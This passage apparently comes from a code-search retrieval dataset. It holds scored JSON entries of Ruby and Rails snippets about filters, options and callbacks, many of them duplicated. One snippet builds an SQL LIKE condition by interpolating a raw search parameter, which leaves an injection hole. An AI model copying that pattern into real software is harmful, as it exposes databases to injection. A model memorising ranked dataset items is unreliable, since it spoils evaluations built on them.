@csrf_token]\n end", "title": "" }, { "docid": "94c3d3c1c954f16655051d9e1dba5a7c", "score": "0.5089286", "text": "def show_options(meta = {})\r\n opts = { is_collection: false }\r\n opts[:meta] = get_meta_data(meta)\r\n opts[:params] = get_params_data\r\n opts\r\n end", "title": "" }, { "docid": "21c44d8557cbd145339416e9f0ae2aeb", "score": "0.50873905", "text": "def _filter_keys\n _filters.map { |key, opts| [[key, opts].hash, key] }.to_h\n end", "title": "" }, { "docid": "f786c5e9793059c6d9053f7fb2b3aeef", "score": "0.5085864", "text": "def desc_filters hash\n @desc_filter_of = hash\n end", "title": "" }, { "docid": "c3265dce69634dc01bdfe250336b2e07", "score": "0.5084805", "text": "def view_set(collection)\n view_set_dir(collection)&.view_set_object\n end", "title": "" }, { "docid": "57b7b56d21f5d3618fde99fe37a8ade9", "score": "0.5079578", "text": "def view_set(collection)\n view_set_dir(collection)&.view_set_object\n end", "title": "" }, { "docid": "838f5a1cb0f6ea890d9b5a112caee0bc", "score": "0.50779665", "text": "def inspect\n current_find_options = {}\n (AR_OPTIONS - [:conditions]).each do |option|\n value = send(option)\n next if value.nil?\n current_find_options[option] = value\n end\n conditions_value = conditions.conditions\n current_find_options[:conditions] = conditions_value unless conditions_value.blank?\n current_find_options[:scope] = scope unless scope.blank?\n \"#<#{klass}Search #{current_find_options.inspect}>\"\n end", "title": "" }, { "docid": "838f5a1cb0f6ea890d9b5a112caee0bc", "score": "0.50779665", "text": "def inspect\n current_find_options = {}\n (AR_OPTIONS - [:conditions]).each do |option|\n value = send(option)\n next if value.nil?\n current_find_options[option] = value\n end\n conditions_value = conditions.conditions\n current_find_options[:conditions] = conditions_value unless conditions_value.blank?\n current_find_options[:scope] = scope unless scope.blank?\n \"#<#{klass}Search #{current_find_options.inspect}>\"\n end", "title": "" }, { "docid": "838f5a1cb0f6ea890d9b5a112caee0bc", "score": "0.50779665", "text": "def inspect\n current_find_options = {}\n (AR_OPTIONS - [:conditions]).each do |option|\n value = send(option)\n next if value.nil?\n current_find_options[option] = value\n end\n conditions_value = conditions.conditions\n current_find_options[:conditions] = conditions_value unless conditions_value.blank?\n current_find_options[:scope] = scope unless scope.blank?\n \"#<#{klass}Search #{current_find_options.inspect}>\"\n end", "title": "" }, { "docid": "258a5db66eb44f2ce7a26f37f363e0d2", "score": "0.50725776", "text": "def available_filters_as_json\n json = {}\n available_filters.to_a.each do |field, options|\n json[field] = options.slice(:type, :name, :values).stringify_keys\n end\n json\n end", "title": "" }, { "docid": "8ab25d18f072c0fa6fa033f2de521045", "score": "0.50646496", "text": "def filter_params\n request.params['filters'] || {}\n end", "title": "" }, { "docid": "5aa111a6cd195caddb80c7829ff3b697", "score": "0.50589156", "text": "def filters\n @filters ||= Hash.new { |h, k| h[k] = [] }\n end", "title": "" }, { "docid": "f79cc9fa9008160324d6d9a0ea7d8626", "score": "0.504362", "text": "def serialize_options\n\t\t{\n\t\t\t:methods => [ :kind, :display, :url ]\n\t\t}\n\tend", "title": "" }, { "docid": "a47e9021e3ebcab43e8e1ffb388c1c70", "score": "0.5042617", "text": "def filter filter_name, *values\n filters = @filters.dup\n filters << { :name => filter_name, :values => values.flatten }\n collection_with(:filters => filters)\n end", "title": "" }, { "docid": "a47e9021e3ebcab43e8e1ffb388c1c70", "score": "0.5042617", "text": "def filter filter_name, *values\n filters = @filters.dup\n filters << { :name => filter_name, :values => values.flatten }\n collection_with(:filters => filters)\n end", "title": "" }, { "docid": "b20b576aab1b94831ed0b459eaf5a08b", "score": "0.50304675", "text": "def views(opts = {})\n if opts.has_key?(:name)\n View.new(self, opts[:name].to_s, {:name => raw[\"views\"][opts[:name].to_s]}.to_json)\n else\n raw[\"views\"].collect do |key, value|\n View.new(self, key.to_s, {key => value}.to_json)\n end\n end\n end", "title": "" }, { "docid": "229d8f9af175abdd592b809417b75244", "score": "0.50271094", "text": "def current_filters\n { content_type: filter_params[:content_type], tag: filter_params[:tag], id: filter_params[:id],\n external_system: filter_params[:external_system], external_id: filter_params[:external_id],\n sort: filter_params[:sort], page: filter_params[:page], per: filter_params[:per] }\n end", "title": "" }, { "docid": "2ac623d04e67ac3489a14cc6a2b036ca", "score": "0.50260305", "text": "def return_all_fields_in_collection_context(solr_params)\n if %w[collection_context].include? blacklight_params[:view]\n solr_params[:fl] = '*'\n end\n solr_params\n end", "title": "" }, { "docid": "9ee7b376832fdc3c3f4e5c571bed95a5", "score": "0.50247484", "text": "def filter_value(filter)\n self[filter.name]\n end", "title": "" }, { "docid": "b3d103b66a81d4a9ffdf4d79c000bf88", "score": "0.5023983", "text": "def viewer_options\n { controller: params[:controller] }\n end", "title": "" }, { "docid": "d2a454b65d59ae40968c0f804b9c68c8", "score": "0.5023178", "text": "def options\n collection_options = {}\n search = params[:search]\n order = params[:order]\n\n # Order\n order = case params[:order]\n when 'name' then 'profiles.display_name' \n when 'arcades' then 'frequentships_count desc'\n when 'games' then 'favoriteships_count desc'\n else (current_session.addressed_in? && !parent?) ? 'distance' : 'profiles.display_name'\n end\n\n # Conditions\n collection_options[:conditions] = \"profiles.active = true\"\n if search == '#'\n collection_options[:conditions] += ' AND profiles.display_name regexp \"^[0-9]+\"'\n elsif !search.blank?\n collection_options[:conditions] += \" AND (profiles.display_name like '#{search}%' OR profiles.display_name like '#{search.downcase}%')\"\n end\n \n # If on the main profiles page where we map out profiles, include their addresses\n if !parent?\n collection_options[:conditions] += ' AND addresses.id IS NOT NULL' if params[:action] == 'index'\n collection_options[:include] = {:address => [:region, :country]}\n if current_session.addressed_in?\n collection_options[:origin] = current_session.address\n collection_options[:within] = current_session.profile_range if current_session.profile_range != 0\n end\n end\n\n # Usual params\n collection_options[:page] = params[:page] || 1\n collection_options[:per_page] = params[:per_page] if params[:per_page]\n collection_options[:order] = order\n\n collection_options\n end", "title": "" }, { "docid": "e9ad727840969597ee693cd707379cc6", "score": "0.5022035", "text": "def filters\n add_owner\n set_language\n\n @filters ||= (\n visibility_filters +\n work_filters +\n creator_filters +\n collection_filters +\n tag_filters +\n range_filters\n ).flatten.compact\n end", "title": "" }, { "docid": "627143c8d226995b2f21549d2d651fc6", "score": "0.501692", "text": "def filters\n return @filters\n end", "title": "" }, { "docid": "747c674318937d2b9bc46cc4263756af", "score": "0.5013835", "text": "def serialize_options\n\t\t{\n\t\t\tmethods: [ :kind, :display, :url ]\n\t\t}\n\tend", "title": "" }, { "docid": "545d68f1f8c18635876dde118485391a", "score": "0.50040424", "text": "def yaml_hash\n # access attributes that may change values\n if mode == :view_only\n\t@yaml_hash\n else\n super\n end\n end", "title": "" }, { "docid": "7e444d372ba3e36491d894d648d35d8a", "score": "0.49998945", "text": "def collectors_view_context\n @collectors_view_context ||= {}\n end", "title": "" }, { "docid": "82f1955a7cedd3be16846cfdcad8a7ef", "score": "0.49998626", "text": "def typus_fields_for(filter); end", "title": "" }, { "docid": "f461c91805f4d5417d1e754177c524ec", "score": "0.49989697", "text": "def get_filter_hash(url = nil)\n fh = {}\n self.fields.zip(self.values) do |k, v|\n pt = I18n.t(\"search_results.filter.#{k}\")\n pv = get_pretty_facet_value(k, v.sub(/\"(.*)\"/, '\\1'))\n uri = (url)? url.sub(\"&filter_fields[]=#{k}&filter_values[]=#{CGI.escape(v)}\", \"\") : ''\n fh[k] ||= []\n fh[k].push({'v' => v, 'pv' => pv, 'pt' => pt, 'uri' => uri })\n end\n fh\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "6a25ad6d2cef95470b36e4d1eef03f0c", "score": "0.0", "text": "def set_artical\n @artical = Artical.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60326946", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.6015941", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59229624", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59169936", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59169936", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.5899037", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889287", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58890367", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58890367", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58890367", "text": "def actions; end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.5877498", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5862599", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.5810375", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.5740072", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57316417", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.5718692", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5700777", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.5692726", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.5668117", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.56531155", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.565059", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56384724", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5625417", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.56102014", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5596785", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5596253", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.55899394", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5557985", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5557985", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55090857", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.55058104", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.54677796", "text": "def on_setup(&block); end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465028", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.5448835", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.5447902", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.54402983", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54168683", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411516", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411516", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5400121", "text": "def post_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5395004", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5395004", "text": "def before_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392725", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.53884417", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53783494", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.53593004", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53494495", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5349437", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53471607", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.53441674", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5342784", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53281486", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53036916", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.528415", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.52831894", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.5258319", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.5256983", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52521855", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.52472556", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.52398384", "text": "def after_setup\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52376497", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52376497", "text": "def action; end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52329665", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.5229699", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.5225785", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.52239066", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.5219224", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.52147436", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.52146924", "text": "def pick_action; end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.5211636", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52089876", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5206151", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.5204869", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.520361", "text": "def create_setup\n \n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5201687", "text": "def performed(action)\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.5198511", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.5198511", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.51926094", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5181837", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.5178642", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173357", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173357", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173357", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.51642865", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5153578", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.51448536", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5142863", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51412", "text": "def code_action_provider; end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.5139861", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.5134318", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.51167125", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5115634", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.51111007", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5109693", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5109693", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5109693", "text": "def action\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5106379", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.510497", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51013684", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.5096925", "text": "def do_action(action)\n case action\n when \"a\"\n 